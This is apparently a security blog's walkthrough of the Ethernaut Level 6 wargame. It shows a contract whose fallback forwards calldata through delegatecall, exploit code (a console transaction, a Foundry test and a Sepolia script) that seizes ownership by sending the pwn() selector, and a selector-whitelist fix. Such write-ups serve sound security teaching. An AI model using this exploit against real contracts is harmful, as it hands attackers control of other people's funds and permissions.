Ethernaut Level 6 Walkthrough: Exploiting Unsafe delegatecall in Solidity
In this article, we will analyze and solve Ethernaut Level 6: Delegation.
This level looks almost too simple: a fallback function forwards every unmatched call to another contract with delegatecall. That single line is enough to let anyone rewrite the contract's owner variable without ever calling a function that touches it directly.
Beyond solving the challenge, we will cover:
- What
delegatecallactually does to storage,msg.sender, and execution context - Why a fallback function that blindly forwards
msg.datais a loaded gun - How to validate the exploit with Foundry
- How to defend against unsafe delegation with explicit function selectors and storage layout discipline
Challenge Description
The Delegation contract holds a reference to a Delegate contract. Its fallback function forwards any call it does not recognize to Delegate using delegatecall. Delegate exposes a single function, pwn(), that sets its own owner to msg.sender.
The goal of the challenge is:
The goal of this level is for you to claim ownership of the instance you are given.
Vulnerability Classification
| Category | Value |
|---|---|
| Vulnerability: | Unsafe delegatecall in a fallback function |
| Root Cause: | Fallback forwards arbitrary msg.data to an untrusted call target with delegatecall, executing foreign logic in the caller's own storage context |
| Impact: | Any external account can overwrite the contract's owner slot |
| Severity: | Critical |
| Attack Type: | Storage collision via low-level delegatecall |
Vulnerable Contract Analysis
This is the vulnerable contract used in the challenge:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
Root Cause of the Vulnerability
The entire vulnerability lives in the fallback function:
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
delegatecall is not a regular external call. When contract A calls contract B with delegatecall, B's code runs, but it runs as if it were A's own code: it reads and writes A's storage, it sees A's msg.sender and msg.value, and the only thing B contributes is its bytecode.
Delegation and Delegate both declare address public owner as their very first state variable, so both contracts assign it to storage slot 0. That is what makes the attack trivial: when Delegate.pwn() runs inside Delegation's storage via delegatecall, the line owner = msg.sender does not touch Delegate's own owner. It overwrites slot 0 of Delegation, which is Delegation.owner.
The fallback makes this reachable from the outside because it forwards msg.data verbatim, with no check on which function selector is being called. Any call to an undefined function on Delegation, including one that encodes pwn(), gets relayed straight into Delegate's logic.
This violates a core security principle in smart contract design:
Never
delegatecallinto a target using attacker-controlled calldata unless the storage layout of both contracts is deliberately aligned and the set of callable functions is explicitly restricted.
Understanding Unsafe delegatecall
- The caller (in this case, our player account) sends a transaction to
Delegationwith calldata equal to the 4-byte selector ofpwn(). Delegationhas no function matching that selector, so Solidity routes execution tofallback().fallback()executesaddress(delegate).delegatecall(msg.data), forwarding the exact same calldata toDelegate.Delegatefinds a matching function,pwn(), and executes it.- Because this is a
delegatecall, the execution context is stillDelegation:msg.senderinsidepwn()is our player account, andowner = msg.senderwrites toDelegation's slot 0. Delegation.owneris now our player account.Delegate.ownerwas never touched.
Player (EOA)
|
| call: pwn() selector
v
Delegation.fallback()
|
| delegatecall (same storage, same msg.sender)
v
Delegate.pwn()
|
| owner = msg.sender -> writes to Delegation's slot 0
v
Delegation.owner = Player
This is the same class of bug behind the Parity multisig freeze in 2017, where a library contract exposed an initialization function reachable via delegatecall from a proxy wallet, and later behind its second incident, where anyone could call kill() on the shared library through the same mechanism and self-destruct it, bricking every wallet that delegated to it.
Why is delegatecall Dangerous?
delegatecall is a legitimate and widely used primitive. It is what makes proxy patterns, diamond patterns, and shared libraries possible, so the goal is not to avoid it, but to use it deliberately:
- Storage layout must match exactly. If the calling contract and the delegated contract do not declare their state variables in the same order and types,
delegatecallwill silently corrupt storage, exactly as it does here. - Never forward raw, unrestricted
msg.data. A fallback that relays anything it receives turns every function in the target contract into a function callable on the proxy, whether that was intended or not. - The delegated contract must be trusted and immutable, or upgrade-controlled. If the target address can be changed by an attacker, or if the target contract itself can be upgraded, the caller inherits whatever logic ends up there.
- Prefer well-audited proxy standards. Patterns like OpenZeppelin's
TransparentUpgradeableProxyor UUPS exist specifically to manage storage layout and selector routing safely; rolling a custom fallback-based delegate, as this level does, is what introduces the bug.
Attack Strategy
What we know:
Delegation.fallback()forwards any unrecognized call toDelegateviadelegatecall.Delegate.pwn()setsowner = msg.senderin whatever storage context it executes in.DelegationandDelegateshare the same storage slot 0 forowner, since both declare it as their first state variable.delegatecallpreservesmsg.sender, so calling throughDelegation's fallback keeps our own address as the sender insideDelegate's logic.
Our strategy:
- Encode the function selector for
pwn(). - Send that calldata directly to the
Delegationinstance from our own account. No function onDelegationmatches it, so it lands infallback(). fallback()relays it toDelegateviadelegatecall, executingpwn()insideDelegation's storage.Delegation.owneris now our address. No attacker contract is needed.
Solution
This level does not require deploying an attacker contract. A single low-level call from our own externally owned account is enough, because the only thing that matters is which calldata reaches Delegation and who the caller is, and both are already exactly what we need from an EOA.
From the browser console, connected to the Ethernaut instance:
await web3.eth.sendTransaction({
from: player,
to: contract.address,
data: web3.eth.abi.encodeFunctionSignature("pwn()")
});
await contract.owner();
The same call from a Foundry script or test, encoding the selector with abi.encodeWithSignature:
(bool success, ) = address(instance).call(abi.encodeWithSignature("pwn()"));
require(success, "call not successful");
How the Exploit Works
First, we build the calldata for pwn(). Solidity computes a function's 4-byte selector as the first four bytes of keccak256("pwn()"). abi.encodeWithSignature("pwn()") does exactly that, with no arguments to append since pwn() takes none.
Then, we send that calldata directly to the Delegation instance, either as a raw call from a test or script, or as a manual transaction from the browser console. Delegation has no function named pwn, so Solidity's dispatcher cannot match a selector and falls through to fallback().
Next, fallback() executes delegatecall against the stored delegate address, forwarding our calldata untouched. Delegate does have a pwn() function, so its dispatcher matches it and runs the function body: owner = msg.sender.
Because the whole call chain after our transaction is one delegatecall, execution never leaves Delegation's storage context. msg.sender inside pwn() is still our player account, and the state variable actually written is Delegation's owner at slot 0, not Delegate's.
Finally, we read Delegation.owner() back and confirm it now equals our own address. The level's win condition, parity.owner() == _player, is satisfied.
Validating the Exploit with Foundry
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {Delegation} from "src/levels/Delegation.sol";
import {DelegationFactory} from "src/levels/DelegationFactory.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";
contract TestDelegation_L6 is Test, Utils {
Ethernaut ethernaut;
Delegation instance;
address payable owner;
address payable player;
function setUp() public {
address payable[] memory users = createUsers(2);
owner = users[0];
vm.label(owner, "Owner");
player = users[1];
vm.label(player, "Player");
vm.startPrank(owner);
ethernaut = getEthernautWithStatsProxy(owner);
DelegationFactory factory = new DelegationFactory();
ethernaut.registerLevel(Level(address(factory)));
vm.stopPrank();
vm.startPrank(player);
instance = Delegation(createLevelInstance(ethernaut, Level(address(factory)), 0));
vm.stopPrank();
}
function testInit() public {
vm.prank(player);
assertFalse(submitLevelInstance(ethernaut, address(instance)));
}
function testSolve() public {
vm.startPrank(player);
// No attacker contract needed. A direct call to any undefined
// function triggers Delegation's fallback, which delegatecalls
// into Delegate's pwn(). delegatecall keeps Delegation's storage
// and msg.sender (the player), so owner is overwritten in place.
(bool success,) = address(instance).call(abi.encodeWithSignature("pwn()"));
require(success, "call not successful");
assertEq(instance.owner(), player);
assertTrue(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
}
Running the Test
source .env
forge test --match-path test/Solutions/Delegation_L6.t.sol --match-test testSolve --fork-url $SEPOLIA_RPC -vvv
Make sure .env defines SEPOLIA_RPC and, for the live script below, PK. Never commit .env to version control.
Solving the Level on Sepolia
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script} from "forge-std/Script.sol";
import {Delegation} from "src/levels/Delegation.sol";
import {console} from "forge-std/console.sol";
contract DelegationScript is Script {
Delegation public target;
function setUp() public {
target = Delegation(payable("0xYourEthernautInstance"));
}
function run() public {
uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx
vm.startBroadcast(pk);
// No attacker contract. A direct call with pwn()'s selector hits
// Delegation's fallback, which delegatecalls into Delegate and
// flips owner in Delegation's own storage.
(bool ok,) = address(target).call(abi.encodeWithSignature("pwn()"));
require(ok, "pwn call failed");
console.log("New owner:", target.owner());
vm.stopBroadcast();
}
}
Running the Script
source .env
forge script scripts/Delegation.s.sol --rpc-url $SEPOLIA_RPC
Once the dry run compiles cleanly and you have replaced 0xYourEthernautInstance with your actual instance address, broadcast it:
forge script scripts/Delegation.s.sol --rpc-url $SEPOLIA_RPC --broadcast --interactives 1 -vvv
How to Prevent Unsafe delegatecall
The vulnerable pattern is a fallback that blindly relays msg.data:
// Vulnerable: any calldata, any selector, forwarded unconditionally
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
The fix is to never let external calldata pick the delegated function for you. If delegation is genuinely needed, restrict it to specific, whitelisted selectors and keep storage layout identical and documented on both sides:
// Corrected: explicit, whitelisted delegation
function delegatedPwn() external {
require(msg.sig == Delegate.pwn.selector, "selector not allowed");
(bool result,) = address(delegate).delegatecall(msg.data);
require(result, "delegatecall failed");
}
For production proxy patterns, don't hand-roll this at all. Use OpenZeppelin's TransparentUpgradeableProxy or a UUPS proxy, which enforce consistent storage layout through the ERC-1967 storage slots standard and separate admin logic from delegated logic by construction.
Lessons Learned
delegatecallexecutes foreign code in your own storage context. Treat it with the same caution as giving another contract write access to your state.- Matching storage layout between a proxy and its implementation is not optional. A misaligned or shared slot is a silent, critical bug.
- A fallback function is an implicit entry point. If it forwards calldata anywhere, audit it as carefully as any explicit public function.
msg.senderandmsg.valueare preserved acrossdelegatecall, which is exactly why it is powerful for proxies and exactly why it is dangerous when misused.- Prefer established proxy standards over custom delegation logic whenever upgradeability or shared logic is the goal.
Conclusion
Ethernaut Level 6 teaches one of the sharpest lessons in Solidity security: a single delegatecall with unrestricted calldata can hand over full control of a contract, with no reentrancy, no overflow, and no attacker contract required. This is not a theoretical risk. It is the same root cause behind real losses in production, most famously the Parity multisig incidents.
Any protocol using proxies, diamonds, or shared libraries needs to treat storage layout alignment and selector restriction as first-class security requirements, not implementation details. This walkthrough covered:
- How
delegatecallshares storage,msg.sender, and execution context with the caller - Why an unrestricted fallback function is equivalent to exposing every function of the delegated contract
- How to exploit it with a single direct call, no attacker contract
- How to validate the exploit with Foundry, locally and on a Sepolia fork
- How to defend against it with explicit selector checks and audited proxy standards
If you are building or reviewing contracts that use delegatecall, proxies, or upgradeable patterns, this is exactly the kind of vulnerability class we look for in a professional audit.
Read more Ethernaut walkthroughs on the SECLAT blog.
Need a security audit for your smart contracts? Talk to SECLAT.